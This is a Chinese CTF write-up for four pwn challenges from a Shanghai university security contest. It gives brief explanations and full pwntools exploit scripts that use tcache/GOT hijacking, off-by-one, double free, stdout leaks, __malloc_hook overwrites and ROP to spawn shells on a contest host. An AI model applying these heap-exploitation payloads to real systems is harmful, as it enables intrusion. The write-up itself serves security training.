上海大學(xué)生網(wǎng)絡(luò)安全競賽 pwn wp

cpu_emulator

通過越界寫劫持tcache數(shù)組惑折，在其0x80和0x40的位置填入free的got表和atoi函數(shù)的got表地址片迅，申請的時候?qū)ree_got劫持為printf泄露libc,而后將atoi函數(shù)的got表劫持為system函數(shù)，從而獲取shell,需要注意的是本題是更新過的2.27libc,因此若是直接劫持會crash
exp:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import os
from pwn import *
#__Author__ = Cnitlrt
context.log_level = 'debug'

binary = 'emulator'
elf = ELF('emulator')
libc = elf.libc
context.binary = binary

DEBUG = 0
if DEBUG:
  p = process(binary)
  # p=process(binary,env={"LD_PRELOAD":"./libc-2.27.so"})
else:
  host = "123.56.52.128"
  port =  18236
  p = remote(host,port)
if DEBUG == 2:
  host = ""
  port = 0
  user = ""
  passwd = ""
  p = ssh(host,port,user,passwd)
l64 = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
sla = lambda a,b  :p.sendlineafter(str(a),str(b))
sa  = lambda a,b  :p.sendafter(str(a),str(b))
lg  = lambda name,data : p.success(name + ": 0x%x" % data)
se  = lambda payload: p.send(payload)
rl  = lambda      : p.recv()
sl  = lambda payload: p.sendline(payload)
ru  = lambda a     :p.recvuntil(str(a))
def cmd(idx):
    sla(">> ",str(idx))
def opp(payload):
    cmd(1)
    sla("size:\n",len(payload))
    sa("instruction:\n",payload)
def add1(size,payload):
    cmd(1)
    sla("size:\n",str(size))
    sa("instruction:\n",payload)
def add(idx,offset):
    return u32(p16(offset)+p8(idx)+p8(0x20))
def sub(idx,offset):
    return u32(p16(offset)+p8(idx)+p8(0x24))
def AND(idx,offset):
    return u32(p16(offset)+p8(idx)+p8(0x30))
def OR(idx,offset):
    return u32(p16(offset)+p8(idx)+p8(0x34))
def XOR(idx,offset):
    return u32(p16(offset)+p8(idx)+p8(0x38))
def SHIFT(idx,offset):
    return u32(p16(offset)+p8(idx)+p8(0x3c))
def read(idx,offset):
    return u32(p16(offset)+p8(idx)+p8(0x8c))
def write(idx,offset):
    return u32(p16(offset)+p8(idx)+p8(0xac))
"""
(0x3e00000 & a1) >> 21
(0x1f0000 & a1) >>16
(0xffff & a1)
"""
"""
reg[0] = 0xfffe0000
reg[0] = reg[0]+0xfdf0
reg[1] = 0x600000
reg[1] += reg[1]+0x2018
memory[reg[0]] = reg[1]
"""
free_got = 0x0000000000602018
payload = p32(add(0x04,0x10))+p32(add(0x05,0x20))+p32(add(0x06,0x60))
payload += p32(add(0x09,0x2))
payload += p32(SHIFT(0x00,0xffff))+p32(add(0x00,0xfe20))
payload += p32(write(0x04,0))+p32(write(0x05,1))+p32(write(0x06,2))
payload += p32(add(0x04,0x58-0x20))
payload += p32(SHIFT(0x00,0xffff))+p32(add(0x00,0xfe00))
payload += p32(write(0x04,0))+p32(write(0x05,1))+p32(write(0x06,2))
payload += p32(SHIFT(0x00,0xffff))+p32(add(0x00,0xfdb0))
payload += p32(write(0x09,2))+p32(write(0x09,6))
opp(payload)
#rax = opcode >> 26
#rdx = rax*4
#eax = rdx+rax
#rdx = [0x401404+rdx]
#rax = 0x401404+[0x401404+4*(opcode >> 26)]
#0x400ECD

# b *0x400971
# b *0x400A2D
cmd(2)
add1(0x78,p64(elf.plt["printf"])*2)
add1(0x68,"%9$p")
cmd(1)
ru("0x")
libc_base = int(p.recv(12),16)-231-libc.sym["__libc_start_main"]
lg("libc_base",libc_base)
sla("size:\n",str(0x38))
sa("instruction:\n",p64(libc_base+libc.sym["system"]))
# add1(0x38,p64(libc_base+libc.sym["system"]))
cmd("sh")


# gdb.attach(p,"""
#   b *0x400eac
# """)
p.interactive()
lgtwo

off by one 沒有show油挥，劫持stdout泄露libc敏释，double free劫持malloc_hook癣疟，one_gadget條件不滿足，需要用libc_realloc調(diào)整棧幀
exp：

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import os
from pwn import *
#__Author__ = Cnitlrt
# context.log_level = 'debug'

binary = 'pwn2'
elf = ELF('pwn2')
libc = elf.libc
context.binary = binary

DEBUG = 0
if DEBUG:
  p = process(binary)
  # p=process(binary,env={"LD_PRELOAD":"./libc-2.27.so"})
else:
  host = "123.56.52.128"
  port =  45830
  p = remote(host,port)
if DEBUG == 2:
  host = ""
  port = 0
  user = ""
  passwd = ""
  p = ssh(host,port,user,passwd)
l64 = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
sla = lambda a,b  :p.sendlineafter(str(a),str(b))
sa  = lambda a,b  :p.sendafter(str(a),str(b))
lg  = lambda name,data : p.success(name + ": 0x%x" % data)
se  = lambda payload: p.send(payload)
rl  = lambda      : p.recv()
sl  = lambda payload: p.sendline(payload)
ru  = lambda a     :p.recvuntil(str(a))
def cmd(idx):
    sla(">> ",str(idx))
def add(size,payload):
    cmd(1)
    sla("size?\n",str(size))
    sa("content?\n",payload)
def free(idx):
    cmd(2)
    sla("index ?\n",str(idx))
def edit(idx,payload):
    cmd(4)
    sla("index ?\n",str(idx))
    sa("content ?\n",payload)
add(0xf8,"aaaa")#0
add(0x68,"aaaa")#1
add(0xf8,"aaaa")#2
add(0xf8,"aaaa")#3
add(0x68,"aaaa")#4
add(0xf8,"aaaa")#5
add(0x68,"aaaa")#6
free(0)
edit(1,"a"*0x60+p64(0x70+0x100)+p8(0))
free(2)
add(0xf8,"aaaa")#0
add(0x68,"aaaa")#2->1
add(0xf8,"aaaa")#7
free(0)
add(0x68,"aaaa")
add(0x68,"aaaa")#8
edit(8,p16(0x25dd))
free(0)
free(1)
edit(2,p8(0x70))
add(0x68,"aaa")#0
add(0x68,"aaa")#1
add(0x68,"aaa")#9
edit(9,"a"*0x33+p64(0xfbad1887)+p64(0)*3+p8(0x88))
libc_base = l64()-libc.sym["_IO_2_1_stdin_"]
lg("libc_base",libc_base)
free(4)
free(0)
edit(2,p64(libc_base+libc.sym["__malloc_hook"]-0x23))
add(0x68,"aaaa")
add(0x68,"aaaa")
"""
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf0364 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1207 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
"""
edit(4,"a"*(0x13-0x8)+p64(libc_base+0x4527a)+p64(libc_base+libc.sym["__libc_realloc"]+0x8))
cmd(1)
p.recv()
p.sendline(str(0x100))
# gdb.attach(p)
p.interactive()
maj0rone

exp：

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author: cnitlrt
import sys
import os
from pwn import *
# context.lo1
context.log_level = 'debug'

binary = 'maj'
elf = ELF('maj')
libc = elf.libc
context.binary = binary

DEBUG = 0
if DEBUG:
  p = process(binary)
  # p=process(binary,env={"LD_PRELOAD":"./libc-2.27.so"})
else:
  host = "123.56.52.128"
  port =  18523
  p = remote(host,port)
if DEBUG == 2:
  host = ""
  port = 0
  user = ""
  passwd = ""
  p = ssh(host,port,user,passwd)
o_g = [0x45226,0x4527a,0xf0364,0xf1207]
magic = [0x3c4b10,0x3c67a8,0x846c0,0x45390]#malloc,free,realloc,system
l64 = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
sla = lambda a,b  :p.sendlineafter(str(a),str(b))
sa  = lambda a,b  :p.sendafter(str(a),str(b))
lg  = lambda name,data : p.success(name + ": 0x%x" % data)
se  = lambda payload: p.send(payload)
rl  = lambda      : p.recv()
sl  = lambda payload: p.sendline(payload)
ru  = lambda a     :p.recvuntil(str(a))
def cmd(idx):
    sla(">> ",str(idx))
def add(size,payload):
    cmd(1)
    sla('please answer the question\n',str(80))
    sla("______?\n",str(size))
    sa("yes_or_no?\n",payload)
def free(idx):
    cmd(2)
    sla("index ?\n",str(idx))
def show(idx):
    cmd(3)
    sla("index ?\n",str(idx))
def edit(idx,payload):
    cmd(4)
    sla("index ?\n",str(idx))
    sa("__new_content ?\n",payload)
add(0x28,"0")
add(0x68,"0")
add(0x68,'0')
add(0x68,'0')
add(0x68,'0')
edit(0,p64(0)+p64(0x71))
payload = p64(0)+p64(0x21)
edit(1,payload*6)
free(2)
free(1)
edit(1,'\x10')
add(0x68,"1")
add(0x68,"1")#6
payload = p64(0)*3+p64(0x70+0x71)
edit(6,payload)
free(1)
add(0x68,"a")#7
add(0x68,"a")#8->2
edit(6,payload)
free(1)
free(2)
add(0x38,"a")#9
add(0x28,"a")#10
edit(8,p16(0x25dd))
add(0x68,"a")
add(0x68,"12")
edit(12,"a"*0x33+p64(0xfbad1887)+p64(0)*3+p8(0))
libc_base = l64()-0x3c5600
lg("libc_base",libc_base)
free(3)
edit(3,p64(libc_base+libc.sym["__malloc_hook"]-0x23))
add(0x68,"a")
add(0x68,"14")
edit(14,"a"*0x13+p64(o_g[3]+libc_base))
cmd(1)
sla('please answer the question\n',str(80))
sla("______?\n",str(80))
# gdb.attach(p)
p.interactive()
EASY_ABNORMAL

exp:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import os
from pwn import *
#__Author__ = Cnitlrt
#context.log_level = 'debug'

binary = 'pwn111'
elf = ELF('pwn111')
libc = elf.libc
context.binary = binary

DEBUG = 0
if DEBUG:
  p = process(binary)
  # p=process(binary,env={"LD_PRELOAD":"./libc-2.27.so"})
else:
  host = "123.56.52.128"
  port =  10012
  p = remote(host,port)
if DEBUG == 2:
  host = ""
  port = 0
  user = ""
  passwd = ""
  p = ssh(host,port,user,passwd)
l64 = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
sla = lambda a,b  :p.sendlineafter(str(a),str(b))
sa  = lambda a,b  :p.sendafter(str(a),str(b))
lg  = lambda name,data : p.success(name + ": 0x%x" % data)
se  = lambda payload: p.send(payload)
rl  = lambda      : p.recv()
sl  = lambda payload: p.sendline(payload)
ru  = lambda a     :p.recvuntil(str(a))
def cmd(idx):
    sla("E :",str(idx))
def add(payload):
    cmd(2)
    sla("cnt:\n",payload)
def free(idx):
    cmd(3)
    sla("idx:",str(idx))
def show(idx):
    cmd(4)
def gift(payload):
    cmd(23333)
    sa("INPUT:",payload)
sla("NAME: ","%11$p")
cmd(1)
ru("0x")
libc_base = int(p.recv(12),16)-240-libc.sym["__libc_start_main"]
lg("libc_base",libc_base)
pop_rdi = libc_base + 0x21112
sys_addr = libc_base + libc.sym['system']
sh_addr = libc_base + libc.search("/bin/sh").next()
ret = libc_base + 0x0937
payload = p64(ret)*6+p64(pop_rdi)+p64(sh_addr)+p64(sys_addr)
add(payload)
add(payload)
free(0)
free(1)
show(1)
ru("2:")
heap_base = u64(ru("\n")[:-1].ljust(8,"\x00"))
lg("heap_base",heap_base)

# gdb.attach(p)
gift("a"*0x20+p64(heap_base+0x20))
p.interactive()
最后編輯于 ：
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 人面猴
    序言：七十年代末惕虑，一起剝皮案震驚了整個濱河市坟冲，隨后出現(xiàn)的幾起案子，更是在濱河造成了極大的恐慌溃蔫，老刑警劉巖健提，帶你破解...
    沈念sama閱讀 206,214評論 6贊 481
  • 死咒
    序言：濱河連續(xù)發(fā)生了三起死亡事件，死亡現(xiàn)場離奇詭異伟叛，居然都是意外死亡私痹，警方通過查閱死者的電腦和手機(jī)，發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 88,307評論 2贊 382
  • 救了他兩次的神仙讓他今天三更去死
    文/潘曉璐 我一進(jìn)店門，熙熙樓的掌柜王于貴愁眉苦臉地迎上來紊遵，“玉大人账千，你說我怎么就攤上這事●希” “怎么了蕊爵？”我有些...
    開封第一講書人閱讀 152,543評論 0贊 341
  • 道士緝兇錄：失蹤的賣姜人
    文/不壞的土叔 我叫張陵，是天一觀的道長桦山。 經(jīng)常有香客問我攒射，道長，這世上最難降的妖魔是什么恒水？ 我笑而不...
    開封第一講書人閱讀 55,221評論 1贊 279
  • ?港島之戀（遺憾婚禮）
    正文 為了忘掉前任会放，我火速辦了婚禮，結(jié)果婚禮上钉凌，老公的妹妹穿的比我還像新娘咧最。我一直安慰自己，他們只是感情好御雕，可當(dāng)我...
    茶點(diǎn)故事閱讀 64,224評論 5贊 371
  • 惡毒庶女頂嫁案：這布局不是一般人想出來的
    文/花漫 我一把揭開白布矢沿。 她就那樣靜靜地躺著，像睡著了一般酸纲。 火紅的嫁衣襯著肌膚如雪捣鲸。 梳的紋絲不亂的頭發(fā)上，一...
    開封第一講書人閱讀 49,007評論 1贊 284
  • 城市分裂傳說
    那天闽坡，我揣著相機(jī)與錄音栽惶，去河邊找鬼。 笑死疾嗅，一個胖子當(dāng)著我的面吹牛外厂，可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播代承，決...
    沈念sama閱讀 38,313評論 3贊 399
  • 雙鴛鴦連環(huán)套：你想象不到人心有多黑
    文/蒼蘭香墨 我猛地睜開眼汁蝶，長吁一口氣：“原來是場噩夢啊……” “哼！你這毒婦竟也來了次泽？” 一聲冷哼從身側(cè)響起穿仪，我...
    開封第一講書人閱讀 36,956評論 0贊 259
  • 萬榮殺人案實(shí)錄
    序言：老撾萬榮一對情侶失蹤，失蹤者是張志新（化名）和其女友劉穎意荤，沒想到半個月后啊片，有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體，經(jīng)...
    沈念sama閱讀 43,441評論 1贊 300
  • ?護(hù)林員之死
    正文 獨(dú)居荒郊野嶺守林人離奇死亡玖像，尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 35,925評論 2贊 323
  • ?白月光啟示錄
    正文 我和宋清朗相戀三年紫谷，在試婚紗的時候發(fā)現(xiàn)自己被綠了齐饮。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 38,018評論 1贊 333
  • 活死人
    序言：一個原本活蹦亂跳的男人離奇死亡笤昨，死狀恐怖祖驱，靈堂內(nèi)的尸體忽然破棺而出，到底是詐尸還是另有隱情瞒窒，我是刑警寧澤捺僻，帶...
    沈念sama閱讀 33,685評論 4贊 322
  • ?日本核電站爆炸內(nèi)幕
    正文 年R本政府宣布，位于F島的核電站崇裁，受9級特大地震影響匕坯，放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜拔稳，卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 39,234評論 3贊 307
  • 男人毒藥：我在死后第九天來索命
    文/蒙蒙 一葛峻、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧巴比，春花似錦术奖、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,240評論 0贊 19
  • 一樁弒父案采记，背后竟有這般陰謀
    文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至政勃，卻和暖如春，著一層夾襖步出監(jiān)牢的瞬間稼病，已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 31,464評論 1贊 261
  • 情欲美人皮
    我被黑心中介騙來泰國打工掖鱼， 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留然走，地道東北人。 一個月前我還...
    沈念sama閱讀 45,467評論 2贊 352
  • 代替公主和親
    正文 我出身青樓戏挡，卻偏偏與公主長得像芍瑞，于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子褐墅，可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 42,762評論 2贊 345

推薦閱讀更多精彩內(nèi)容